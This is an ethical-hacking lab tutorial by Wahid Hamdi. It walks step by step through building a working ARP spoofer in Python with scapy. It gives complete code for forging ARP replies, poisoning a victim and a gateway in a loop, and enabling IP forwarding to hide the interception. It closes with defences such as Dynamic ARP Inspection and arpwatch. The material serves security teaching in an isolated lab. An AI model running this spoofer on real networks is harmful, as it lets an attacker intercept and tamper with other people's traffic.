Lab 03 — ARP Spoofer


Ethical Hacking with Python

⚠️ This lab must only be run inside an isolated virtual network you fully control. ARP spoofing on any network you do not own is a criminal offence. Use Host-Only or Internal networking in VirtualBox/VMware — never connect your lab VMs to the internet or a real LAN.


What is ARP and Why is it Vulnerable?

When your computer wants to send data to another machine on the same network, it needs two things: the destination’s IP address (which you usually know) and its MAC address (the physical hardware address, which you don’t always know). ARP — Address Resolution Protocol — is the mechanism that bridges that gap.

The process works like a public announcement. Your computer broadcasts to the entire network: “Who has IP 192.168.1.5? Tell me your MAC.” The machine that owns that IP replies directly: “That’s me — my MAC is BB:BB:BB:BB:BB:BB.” Your computer saves this mapping in its ARP cache and uses it for all future packets.

The critical flaw is that ARP has no authentication. Any machine on the network can send an ARP Reply at any time — even without being asked — and other machines will simply believe it and update their cache. This is called a Gratuitous ARP, and it is what makes the attack possible.

What is ARP Spoofing?

ARP spoofing exploits this flaw to place the attacker between two machines — a classic Man-in-the-Middle (MITM) position. Here is how it works with three machines on the same network:

  • Victim: 192.168.56.20
  • Gateway (the router): 192.168.56.1
  • Attacker (you): 192.168.56.10

You continuously send two forged ARP Replies. To the victim, you say: “The gateway’s IP is at my MAC.” To the gateway, you say: “The victim’s IP is at my MAC.” Both machines update their ARP caches with these lies. Now the victim’s outbound traffic goes to you instead of the gateway, and the gateway’s replies come back to you instead of the victim. You are in the middle of every conversation.

You must keep sending these packets every 1–2 seconds, because ARP cache entries expire. If you stop, the caches eventually correct themselves and the attack ends.

When you are done, you must restore both ARP caches by sending correct ARP Replies. If you just stop sending, the victim’s traffic continues going to your machine but you are no longer forwarding it — their connection appears dead, which is detectable and harmful.


Setup

Install scapy, which is the library that lets you craft raw network packets at the Ethernet level:

pip install scapy

Scapy needs to send raw packets, which requires root privileges on Linux:

sudo python3 your_script.py

You need at least two VMs on the same Host-Only network — one as the attacker (your machine) and one as the victim. A third VM acting as a gateway makes the demo more realistic, but two VMs are enough to observe the attack. Note the IP address of each machine before you start.


Exercise 1 — Explore Scapy Packets

Goal: Get comfortable with how scapy builds packets before sending anything.

Scapy builds packets by stacking protocol layers together using the / operator. An ARP packet sits inside an Ethernet frame, so you write Ether() / ARP(). Each layer has fields you can inspect and set.

# explore.py
from scapy.all import ARP, Ether, ls

# ls() shows you every available field in a layer and its default value
print("=== ARP fields ===")
ls(ARP())

# Build a forged ARP Reply and inspect it
# op=2 means Reply (op=1 is a Request)
# psrc  = the IP we are pretending to be (the gateway)
# pdst  = who we are lying to (the victim)
# hwdst = the victim's real MAC (so the frame is delivered to them)
# hwsrc is left unset — scapy automatically fills in our own MAC,
#        which is exactly what we want: we claim to BE the gateway
forged = ARP(
    op    = 2,
    psrc  = "192.168.56.1",    # Pretend to be the gateway
    pdst  = "192.168.56.20",   # Lie to the victim
    hwdst = "BB:BB:BB:BB:BB:BB"
)
print("\n=== Forged ARP Reply ===")
forged.show()
sudo python3 explore.py

Study the output. The six fields that matter most are op (request or reply), psrc/pdst (source and destination IP), and hwsrc/hwdst (source and destination MAC). Once you understand what each one does, you understand the entire attack.

Exercise 2 — Look Up a MAC Address

Goal: Before you can send a forged reply to a machine, you need to know its real MAC address. This function gets it by sending a genuine ARP Request and reading the response.

# get_mac.py
from scapy.all import ARP, Ether, srp
import sys

def get_mac(ip):
    # Send a broadcast ARP Request: "Who has this IP?"
    packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip)
    # srp() sends at Layer 2 and waits for a reply
    answered, _ = srp(packet, timeout=2, verbose=False)
    if answered:
        return answered[0][1].hwsrc  # The MAC from the reply
    return None

if __name__ == "__main__":
    ip  = sys.argv[1]
    mac = get_mac(ip)
    if mac:
        print(f"[+] {ip} is at {mac}")
    else:
        print(f"[-] No response from {ip}")
sudo python3 get_mac.py 192.168.56.20   # victim
sudo python3 get_mac.py 192.168.56.1    # gateway

Cross-check the output against arp -n on the victim machine. They should match exactly. If they don’t, something is wrong with your network setup — resolve it before continuing.

Exercise 3 — The Spoof and Restore Functions

Goal: Write the two core functions: one that sends a forged ARP Reply, and one that sends a correct one to undo the damage.

# spoof.py
from scapy.all import ARP, Ether, sendp

def spoof(target_ip, spoof_ip, target_mac):
    """
    Tell target_ip that spoof_ip is at our MAC address.
    We use sendp() (Layer 2) because ARP is a Layer 2 protocol —
    the regular send() function works at Layer 3 and won't work here.
    """
    packet = Ether(dst=target_mac) / ARP(
        op    = 2,           # ARP Reply
        pdst  = target_ip,   # Who we're lying to
        hwdst = target_mac,  # Their real MAC (so it's delivered correctly)
        psrc  = spoof_ip,    # The IP we're pretending to own
        # hwsrc is omitted — scapy fills in our MAC automatically
    )
    sendp(packet, verbose=False)

def restore(destination_ip, source_ip, destination_mac, source_mac):
    """
    Undo the poisoning by sending a correct ARP Reply.
    We send it 5 times to make sure it arrives and overwrites the bad entry.
    """
    packet = Ether(dst=destination_mac) / ARP(
        op    = 2,
        pdst  = destination_ip,
        hwdst = destination_mac,
        psrc  = source_ip,
        hwsrc = source_mac,   # The REAL MAC this time
    )
    sendp(packet, count=5, verbose=False)

Once you have this file saved, test the spoof() function with a single shot. Log into the victim machine and run arp -n before and after — you should see the gateway’s MAC change to your attacker’s MAC. That is the poisoning working.

Exercise 4 — The Full Bidirectional Spoofer

Goal: Combine everything into a continuous loop that poisons both machines until you press Ctrl+C, then restores both caches cleanly.

# arp_spoofer.py
from scapy.all import get_if_hwaddr
from get_mac import get_mac
from spoof import spoof, restore
import time, sys

def run(victim_ip, gateway_ip, interval=1.5):
    # Look up both MACs before the loop starts — we don't want to
    # send ARP Requests during the attack, as that's noisy and slow
    print("[*] Resolving MAC addresses...")
    victim_mac  = get_mac(victim_ip)
    gateway_mac = get_mac(gateway_ip)

    if not victim_mac or not gateway_mac:
        print("[!] Could not resolve one or both MAC addresses. Are both hosts up?")
        sys.exit(1)

    print(f"[+] Victim  : {victim_ip}  ({victim_mac})")
    print(f"[+] Gateway : {gateway_ip} ({gateway_mac})")
    print(f"\n[*] Spoofing... Press Ctrl+C to stop and restore.\n")

    sent = 0
    try:
        while True:
            # Lie to the victim: "the gateway's IP is at my MAC"
            spoof(victim_ip,  gateway_ip, victim_mac)
            # Lie to the gateway: "the victim's IP is at my MAC"
            spoof(gateway_ip, victim_ip,  gateway_mac)
            sent += 2
            print(f"  [*] Packets sent: {sent}", end="\r")
            time.sleep(interval)

    except KeyboardInterrupt:
        # Ctrl+C was pressed — restore both caches before exiting
        print(f"\n\n[*] Restoring ARP tables...")
        restore(victim_ip,  gateway_ip, victim_mac,  gateway_mac)
        restore(gateway_ip, victim_ip,  gateway_mac, victim_mac)
        print("[+] Done. ARP tables restored.")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: sudo python3 arp_spoofer.py <victim_ip> <gateway_ip>")
        sys.exit(1)
    run(sys.argv[1], sys.argv[2])
sudo python3 arp_spoofer.py 192.168.56.20 192.168.56.1

While the spoofer runs, open a terminal on the victim machine and run watch -n1 arp -n. You will see the gateway’s MAC address change to the attacker’s MAC in real time, and change back the moment you press Ctrl+C.

💡 Enable IP forwarding on your attacker machine so the victim’s traffic is passed through transparently — otherwise their internet connection breaks and the attack becomes obvious. Run this once before starting the spoofer:

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

How Defenders Stop This

ARP spoofing is well understood and several defences exist:

Static ARP entries manually map IP addresses to MAC addresses (arp -s) — since they don’t update automatically, forged replies have no effect. However, managing static entries on a large network is impractical.

Dynamic ARP Inspection (DAI) is a feature on enterprise-grade switches that cross-checks every ARP Reply against a trusted table built during DHCP negotiation. Any reply that doesn’t match is dropped before it reaches a host. This makes ARP spoofing essentially impossible on properly configured managed networks.

Detection tools like arpwatch monitor the network and alert when a MAC address changes for a previously known IP — exactly the signature ARP spoofing leaves. Running it on your gateway is a low-cost, high-value defence. You can also detect spoofing with scapy itself (see Challenge B below).


By Wahid Hamdi